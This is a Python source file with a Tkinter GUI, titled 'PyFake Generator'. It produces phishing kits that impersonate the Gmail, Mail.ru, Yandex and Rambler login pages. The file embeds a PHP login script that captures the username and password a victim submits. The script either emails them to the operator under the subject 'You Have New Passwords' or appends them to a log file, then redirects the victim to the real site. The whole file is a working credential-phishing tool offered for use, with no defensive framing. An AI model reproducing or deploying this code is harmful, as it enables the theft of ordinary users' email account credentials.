from tkinter import *

def Generator(Target,username,password):
    def MKFls(TargetName,ifis,Filet,username,password):
        loginT="""<?php
        //Made By Swordf1sh

        $BASE="%s";\n
        $IS_EMAIL=%s;\n
        $LOCATION="http://%s";\n

        $p0=$_REQUEST["%s"];\n
        $p1=$_REQUEST["%s"];\n
        $headers = "Content-type: text/html; charset=windows-1251\r";\n
        $headers .= "From: bot <$BASE>\r";\n
        $headers .= "Bcc: $BASE\r";\n
        $info="$p0:$p1:";\n

        if ($IS_EMAIL){\n
        mail($BASE, "*** You Have New Passwords", $headers.$info);\n
        } else {\n
        $fd=fopen($BASE,"a+");\n
        fwrite($fd,$info);\n
        fclose($fd);\n
        }\n

        header("Location:$LOCATION");\n
        ?>\n""" % (Filet,ifis,TargetName,username,password)
        import os
        import shutil
        if not os.path.exists(TargetName):
            os.makedirs(TargetName)
        shutil.copy2('Signatures/%s.dll' % TargetName, '%s/' % TargetName)
        os.rename('%s/%s.dll' % (TargetName,TargetName), '%s/index.html' % TargetName)
        flogin=open(('%s/login.php' % TargetName),'w')
        flogin.write(loginT)
        flogin.close()
        if Method.get()=='false':
            flogger=open('%s/%s' % (TargetName,Filet),'w')
            flogger.write('Here Will Be Passwords\n')
            flogger.close()
        def QloseW():
            SuccessW.destroy()
            WGenerator.destroy()
        SuccessW=Toplevel(WGenerator)
        SuccessW.title('Success')
        SuccessW.resizable(0,0)
        em1=LabelFrame(SuccessW,width=20,height=20,bd=0)
        em2=LabelFrame(SuccessW,width=20,height=20,bd=0)
        SucT=Label(SuccessW,text='Success!!!')
        SucE=Button(SuccessW,text='Close',command=QloseW)
        em1.grid(row=0,column=0)
        SucT.grid(row=1,column=1)
        SucE.grid(row=2,column=1)
        em2.grid(row=3,column=2)

    def CHTXT(txt):
        Textsnd.configure(text=txt)

    WGenerator=Toplevel(Window)
    WGenerator.title('%s Fake Generator' % Target)
    WGenerator.resizable(0,0)

    Method=StringVar()
    Method.set('false')
    RadT=Radiobutton(WGenerator,text='Save Passwords in File',variable=Method,value='false',command=lambda: CHTXT('File Name ->'))
    RadF=Radiobutton(WGenerator,text='Send Passwords to Email',variable=Method,value='true',command=lambda: CHTXT('Email Adress ->'))
    Empt3=LabelFrame(WGenerator,width=20,height=20,bd=0)
    Empt4=LabelFrame(WGenerator,width=20,height=20,bd=0)
    Textsnd=Label(WGenerator,text='File Name ->')
    FileName=Entry(WGenerator,width=25)
    Empt5=LabelFrame(WGenerator,width=18,height=18,bd=0)
    SaveB=Button(WGenerator,text='Generate',bd=0.5,height=3,command=lambda: MKFls(Target,Method.get(),FileName.get(),username,password))
    Empt3.grid(row=0,column=0)
    RadT.grid(row=1,column=1)
    RadF.grid(row=1,column=2)
    SaveB.grid(row=1,column=4,rowspan=2,sticky='e')
    Textsnd.grid(row=2,column=1)
    FileName.grid(row=2,column=2,)
    Empt4.grid(row=4,column=5)
    Empt5.grid(row=1,column=3,rowspan=2)


Window=Tk()
Window.title('PyFake Generator REV:120624')
Window.resizable(0,0)

ButGmail=Button(Window,text='@Gmail.com',width=20,bd=0.5,command=lambda: Generator('Gmail.com','Email','Passwd'))
ButMailru=Button(Window,text='@Mail.ru',width=20,bd=0.5,command=lambda: Generator('Mail.ru','Login','Password'))
ButYandex=Button(Window,text='@Yandex.ru',width=20,bd=0.5,command=lambda: Generator('Yandex.ru','login','passwd'))
ButRambler=Button(Window,text='@Rambler.ru',width=20,bd=0.5,command=lambda: Generator('Rambler.ru','login','password'))
Empt1=LabelFrame(Window,width=30,height=30,bd=0)
Empt2=LabelFrame(Window,width=30,height=30,bd=0)

Empt1.grid(row=0,column=0,sticky='nswe')
Empt2.grid(row=4,column=4,sticky='nswe')
ButGmail.grid(row=1,column=1,sticky='nswe')
ButYandex.grid(row=2,column=1,sticky='nswe')
ButRambler.grid(row=2,column=2,sticky='nswe')
ButMailru.grid(row=1,column=2,sticky='nswe')

Window.mainloop()